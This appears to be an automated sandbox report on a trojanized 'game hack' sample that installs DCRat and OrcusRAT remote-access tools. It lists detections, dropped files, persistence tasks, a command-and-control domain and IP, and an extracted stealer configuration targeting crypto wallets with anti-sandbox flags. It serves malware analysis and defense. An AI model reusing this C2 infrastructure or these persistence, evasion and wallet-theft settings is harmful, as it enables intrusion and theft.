Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Queries volume information: C:\Windows\Web\Wallpaper\Windows\img0.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Queries volume information: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Queries volume information: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A1D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00A1D5D4

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A0ACF5 GetVersionExW,

0_2_00A0ACF5

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 23.2.runtimesvc.exe.1ba70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.runtimesvc.exe.1ba70000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.1720636580.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1720636580.00000000029E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1959832866.000000001322D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1846009611.00000000125BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: runtimesvc.exe PID: 4920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: containerRuntime.exe PID: 7620, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: containerRuntime.exe, 0000001A.00000002.1720636580.0000000002692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"6c695916fbddfd6c86d9c925ce0f3d9296d13743":{"antilowmemory":"==QZ1JHV","recheck":"=U2csFmR","antivm":"==QZ1JHV","antiwindowsserver":"==QZ1JHV","antisandbox":"==QZ1JHV","antidebuggers":"==QZ1JHV","antiprocessmonitors":"==QZ1JHV","antihttpdebuggers":"==QZ1JHV","antianyrunvt":"==QZ1JHV","ramlim":"==AOyADN"},"2d421f511019ab10b4005cadf6e8fab088ff728d":{"zcash":"==QZ1JHV","exodus":"==QZ1JHV","electrum":"==QZ1JHV","monero":"==QZ1JHV","ethereum":"==QZ1JHV","bytecoin":"==QZ1JHV","litecoincore":"==QZ1JHV","dashcore":"==QZ1JHV","bitcoincore":"==QZ1JHV","atomic":"==QZ1JHV","armory":"==QZ1JHV","binance":"==QZ1JHV","metamask":"==QZ1JHV","tronlink":"==QZ1JHV","ronin":"==QZ1JHV","binanceweb":"==QZ1JHV","phantom":"==QZ1JHV","ton":"==QZ1JHV","yoroi":"==QZ1JHV","extscanscheme":"yV2cVBCduVmcyV3Q"},"3229e69b07edc9bd628bb55e1896cde346364250":{"workscheme":"zRGbpVnQ"},"b4de96d4f5b80f0481953e762e42bc2a3abd9dba":{"processes":"5RXayV3YlNnbvRncv5mCkNXZtMnbK8VYylmdhpwc0BjNzogclRmblZWZkRXaipQZlZWYj1mCzVncpZXa05WYK8FdzFmdhpQMyMHdrpAc1RXZzJWb","windows":"lVmZhNWbKwWY09GdgAjNzowc39GZul2dgoL04CdvQLY04CdiRDL03CtCyVGZuVmZlRGIzd3bk5Wa3pAIyVGZuVmZlRGdpJmCkJXY1dGbsVnYKMXZ0lnYlJXY3xWYtpQespnepJ3ZKkHdpJXdjV2cg42b0J3bupQgRPY0AGNuQLL04CtgR3L0wCtCzVncpZXa05WYKIWZ3JHZKk3azJXZwNXYrpAdzFmdhpAdlNXZ"}}
Source: runtimesvc.exe, 00000017.00000002.1874336688.00000000031A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty
Source: runtimesvc.exe, 00000017.00000002.1874336688.00000000031A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aholpfdialjgjfhomihkjbmgjidlcdno:Exodus
Source: containerRuntime.exe, 0000001A.00000002.1720636580.0000000002692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"6c695916fbddfd6c86d9c925ce0f3d9296d13743":{"antilowmemory":"==QZ1JHV","recheck":"=U2csFmR","antivm":"==QZ1JHV","antiwindowsserver":"==QZ1JHV","antisandbox":"==QZ1JHV","antidebuggers":"==QZ1JHV","antiprocessmonitors":"==QZ1JHV","antihttpdebuggers":"==QZ1JHV","antianyrunvt":"==QZ1JHV","ramlim":"==AOyADN"},"2d421f511019ab10b4005cadf6e8fab088ff728d":{"zcash":"==QZ1JHV","exodus":"==QZ1JHV","electrum":"==QZ1JHV","monero":"==QZ1JHV","ethereum":"==QZ1JHV","bytecoin":"==QZ1JHV","litecoincore":"==QZ1JHV","dashcore":"==QZ1JHV","bitcoincore":"==QZ1JHV","atomic":"==QZ1JHV","armory":"==QZ1JHV","binance":"==QZ1JHV","metamask":"==QZ1JHV","tronlink":"==QZ1JHV","ronin":"==QZ1JHV","binanceweb":"==QZ1JHV","phantom":"==QZ1JHV","ton":"==QZ1JHV","yoroi":"==QZ1JHV","extscanscheme":"yV2cVBCduVmcyV3Q"},"3229e69b07edc9bd628bb55e1896cde346364250":{"workscheme":"zRGbpVnQ"},"b4de96d4f5b80f0481953e762e42bc2a3abd9dba":{"processes":"5RXayV3YlNnbvRncv5mCkNXZtMnbK8VYylmdhpwc0BjNzogclRmblZWZkRXaipQZlZWYj1mCzVncpZXa05WYK8FdzFmdhpQMyMHdrpAc1RXZzJWb","windows":"lVmZhNWbKwWY09GdgAjNzowc39GZul2dgoL04CdvQLY04CdiRDL03CtCyVGZuVmZlRGIzd3bk5Wa3pAIyVGZuVmZlRGdpJmCkJXY1dGbsVnYKMXZ0lnYlJXY3xWYtpQespnepJ3ZKkHdpJXdjV2cg42b0J3bupQgRPY0AGNuQLL04CtgR3L0wCtCzVncpZXa05WYKIWZ3JHZKk3azJXZwNXYrpAdzFmdhpAdlNXZ"}}
Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 23.2.runtimesvc.exe.1ba70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.runtimesvc.exe.1ba70000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.1720636580.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1720636580.00000000029E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1959832866.000000001322D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1846009611.00000000125BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: runtimesvc.exe PID: 4920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: containerRuntime.exe PID: 7620, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	211 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	147 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	31 Registry Run Keys / Startup Folder	31 Registry Run Keys / Startup Folder	13 Software Packing	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	1 Proxy	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	33 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
GameHackBuild1.exe.bin.exe	61%	Virustotal		Browse
GameHackBuild1.exe.bin.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
GameHackBuild1.exe.bin.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	100%	Avira	TR/Dropper.Gen
C:\Users\Default\Pictures\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	100%	Avira	HEUR/AGEN.1309946
C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	100%	Avira	VBS/Runner.VPG
C:\Users\user\AppData\Local\Temp\B2ESObyLKs.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	100%	Avira	HEUR/AGEN.1309946
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Users\Default\Pictures\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\Microsoft Office\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Microsoft\SSblKNNQege.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Windows Portable Devices\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\ProgramData\WindowsHolographicDevices\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SSblKNNQege.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\Pictures\RuntimeBroker.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.ZmutzyLscpt
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	84%	ReversingLabs	ByteCode-MSIL.Trojan.OrcusRAT
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	58%	ReversingLabs	Win64.Trojan.Ulise
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	84%	ReversingLabs	ByteCode-MSIL.Trojan.OrcusRAT
C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\Desktop\BpJZMyRc.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\ErvIhhWY.log	33%	ReversingLabs	Win32.Ransomware.Bitpy
C:\Users\user\Desktop\PxMOoBdB.log	25%	ReversingLabs
C:\Users\user\Desktop\QLuoYXmy.log	4%	ReversingLabs
C:\Users\user\Desktop\WmQvmhxk.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\brpMezGb.log	8%	ReversingLabs
C:\Users\user\Desktop\jdhUscxN.log	3%	ReversingLabs
C:\Users\user\Desktop\mOMkzqHG.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\syFrxmlp.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\wowiEjmi.log	9%	ReversingLabs
C:\Windows\Cursors\OfficeClickToRun.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\L2Schemas\SSblKNNQege.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe	78%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\security\database\SSblKNNQege.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.w3.or/XmasIes	0%	Avira URL Cloud	safe
https://taskscheduler.codeplex.com/F	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
25350.client.sudorat.top	185.37.62.158	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://taskscheduler.codeplex.com/	MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1366464067.00000000060F0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000041DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/I(.	GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002949000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.000000000316A000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.00000000031C9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.w3.or/XmasIes	MpDefenderProtector.exe, 00000007.00000002.1311661641.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002AFB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, runtimesvc.exe, 00000017.00000002.1874336688.00000000031A1000.00000004.00000800.00020000.00000000.sdmp, containerRuntime.exe, 0000001A.00000002.1720636580.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://taskscheduler.codeplex.com/F	MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1366464067.00000000060F0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000041DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002949000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.000000000316A000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.00000000031C9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.37.62.158	25350.client.sudorat.top	Russian Federation		62082	HOSTLANDRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590018
Start date and time:	2025-01-13 13:34:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GameHackBuild1.exe.bin.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@62/65@1/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 273 Number of non-executed functions: 146
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, audiodg.exe, OfficeClickToRun.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, schtasks.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 2.23.242.162, 4.175.87.197
Excluded domains from analysis (whitelisted): 729231cm.n9shteam1.top, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, 117813cm.n9shteam.in, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MpDefenderCoreProtion.exe, PID 5456 because it is empty
Execution Graph export aborted for target Solara.exe, PID 7648 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:35:18	API Interceptor	6x Sleep call for process: Solara.exe modified
07:35:22	API Interceptor	56x Sleep call for process: RegAsm.exe modified
07:35:24	API Interceptor	1x Sleep call for process: WMIC.exe modified
08:38:30	API Interceptor	48x Sleep call for process: runtimesvc.exe modified
13:35:20	Task Scheduler	Run new task: MpDefenderProtector path: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe
13:35:28	Task Scheduler	Run new task: OfficeClickToRunO path: "C:\Windows\Cursors\OfficeClickToRun.exe"
13:35:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SSblKNNQege "C:\Program Files (x86)\msbuild\SSblKNNQege.exe"
13:35:32	Task Scheduler	Run new task: OfficeClickToRun path: "C:\Windows\Cursors\OfficeClickToRun.exe"
13:35:32	Task Scheduler	Run new task: RuntimeBroker path: "C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe"
13:35:32	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe"
13:35:33	Task Scheduler	Run new task: SSblKNNQege path: "C:\Program Files (x86)\msbuild\SSblKNNQege.exe"
13:35:33	Task Scheduler	Run new task: SSblKNNQegeS path: "C:\Windows\L2Schemas\SSblKNNQege.exe"
14:38:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Users\Default\Pictures\RuntimeBroker.exe"
14:38:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun "C:\Windows\Cursors\OfficeClickToRun.exe"
14:38:31	Task Scheduler	Run new task: runtimesvcr path: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe"
14:38:35	Task Scheduler	Run new task: runtimesvc path: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe"
14:38:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run runtimesvc "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe"
